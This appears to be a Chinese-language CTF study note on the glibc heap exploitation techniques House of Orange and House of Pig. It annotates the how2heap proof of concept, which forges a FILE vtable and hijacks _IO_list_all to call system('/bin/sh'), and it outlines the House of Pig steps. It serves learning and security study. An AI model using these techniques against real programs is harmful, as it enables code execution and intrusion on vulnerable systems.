House of Orange
House of Orange的利用背景在缺少free条件。为了达到free的效果,通过修改top chunk的size位,当malloc的空间大于top chunk时触发brk,使top chunk被放置在unsorted bin。
利用条件:
1.堆有 mmap 和 brk 两种分配方式,我们需要让堆以 brk 的形式拓展,之后原有的 top chunk 会被置于 unsorted bin 中。要实现 brk 拓展 top chunk,但是要实现这个目的需要绕过一些 libc 中的 check。 首先,malloc 的尺寸不能大于mmp_.mmap_threshold。
默认为 128K大小。否则直接向系统要内存,不再通过top chunk。
2.sysmalloc对top chunk分配有如下检测
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
需要满足
- 伪造的 size 必须要对齐到内存页
- size 要大于 MINSIZE(0x10)
- size 要小于之后申请的 chunk size + MINSIZE(0x10)
- size 的 prev inuse 位必须为 1
ctfwiki给的示例还是非常简单的,讲解点在于,如果已申请0x20大小chunk,top chunk的fake chunk的fakesize需要像 0x0fe1、0x1fe1、0x2fe1、0x3fe1一样,完成4kb大小的对齐。
更详细的用法还是看how2heap
how2heap给出的是fsop的利用,也就是修改_IO_list_all指针。由于2.24及以后的检测,fake vtable便无法奏效了.
我们逐个解释步骤:
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);//创建0x400大小chunk
top = (size_t *) ( (char *) p1 + 0x400 - 16); //获取top指向top chunk
top[1] = 0xc01; //修改top chunk的size
p2 = malloc(0x1000); //核心步骤,这一步导致top chunk进入unsortedbin,同时 brk一段空间
有一点需要注意,how2heap这样写到
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
实际上,我们的new top与修改size前的top末端相连,而不是修改后的。
io_list_all = top[2] + 0x9a8; //根据io_list_all与main_arena+88的偏移找到io_list_all地址
top[3] = io_list_all - 0x10; //修改bk,为unsorted bin attack做准备
memcpy( ( char *) top, "/bin/sh\x00", 8); //vtable中的_IO_overflow函数的第一个参数
//是该文件的地址,所以假设overflow改为system,则正好
//则正好调用system("bin/sh")
top[1] = 0x61; //我们的unsortedbin地址与bins中存放smallchunk对应0x60大小的chunk的地址的偏移
//正好等于一个IO_FILE与next file指针地址的偏移
FILE *fp = (FILE *) top;
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3; //绕过检测
size_t *jump_table = &top[12]; //这里地址其实没特殊要求,找一个我们伪造vtable的地方
jump_table[3] = (size_t) &winner; //把伪造下,相对_IO_overflow的位置写上system函数地址
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;//在相对vtable指针的位置写上我
//们刚刚想伪造vtable的地址
最后一步,详细讲解到底发生了什么。
malloc(10); //最后malloc触发,但是还是详细说一下,这一步后到底发生了什么吧
//首先,malloc后因为没有符合的smallbin或fastbin进入unsorted bin循环,这一步循环很重要
//1.由于我们的old top chunk现在在unsorted bin,所以首先发现这个chunk不符合
//于是该chunk被放入了small bin,还记得我们之前又修改了一次size值吧。
//2.该chunk被放入small bin的同时,由与我们修改了bk,造成unsorted bin attack
//导致_IO_list_all 被写入unsorted bin的地址。
//3.由于bk被更改,这下好了,由于该chunk不符合需要的大小,接着unsorted bin大循环搜索,下次unsorted
//bin通过bck搜索,访问到了_IO_list_all 附近,这块附近再重复上面的动作还能正常吗?猜想会报错。
//4.开始报错,此处省略报错的步骤,但最终会通过_IO_list_all挨个遍历文件,再去调用每个文件的vtable
//中的overflow函数。
//5.试想一下,我们上述构造的,_IO_list_all被改成了unsorted bin的地址,这样一来,他就把unsorted
//bin的地址错当是 _IO_2_1_stderr_的位置了,这里我搜了一下,看到的说法是如果fp->mode等值不符合
//要求,就会通过chains跳转到就下一个IO_FILE_plus。而我们的chain对应的值,由于我们上述第一步
//的samllbin操作,使其正好等于old top chunk的地址,也就是说,这里程序错把old top chunk当成
//_IO_2_1_stdout_,这一次由于我们设置好了相关项的值,其开始调用vtable中的overflow函数,而vtable
//的值被我们改了,其相对overflow函数也被更改为了system。所以开始调用system,而且,old top chunk的
//头位置被我们塞了bin/sh字符串,这下好了,正好调用了system(bin/sh),真是精妙绝伦的思路!
这是ctfwiki上的图,可以看到,在出现error后调用了一系列最终到overflow函数。
我搜了一些文章,发现没有人把这块how2heap的例子详细讲解出来,而关于该利用方法的例题,又由于依附于题,导致看起来更加困难。此外how2heap都是英文,属实不友好。自己学的时候其实学的效果就很不理想。
经过上述详细步骤的讲解,我觉得不光是给自己看,给第一次学的人看也能够理解了。
最后再附加一下iofile利用的注意事项吧:
2.23以前,vtable中的项可修改。2.23可通过fsop,也就是利用修改 _IO_list_all。
2.23以后,又由于新加了vtable指针中的地址是否是正常的地址而使修改_IO_list_all无法进行,但同时可以利用_IO_str_jumps再度使用。
House of Pig
House of Pig 是一个将 Tcache Statsh Unlink+ Attack 和 FSOP 结合的攻击,同时使用到了 Largebin Attack 进行辅助。主要适用于 libc 2.31 及以后的新版本 libc 并且程序中仅有 calloc 时。
利用流程:
- 进行一个 Tcache Stash Unlink+ 攻击,把地址
__free_hook - 0x10
写入 tcache_pthread_struct。由于该攻击要求__free_hook - 0x8
处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。 - 再进行一个 large bin attack,修改
_IO_list_all
为一个堆地址,然后在该处伪造_IO_FILE
结构体。 - 通过伪造的结构体触发
_IO_str_overflow
getshell。
ctfwiki的例题XCTF-FINAL-2021 house of pig,还是有些难度,目前水平有限,复杂的有些看不懂,都后面逐渐练起来题,有一定做题能力了再看吧。先记录一下。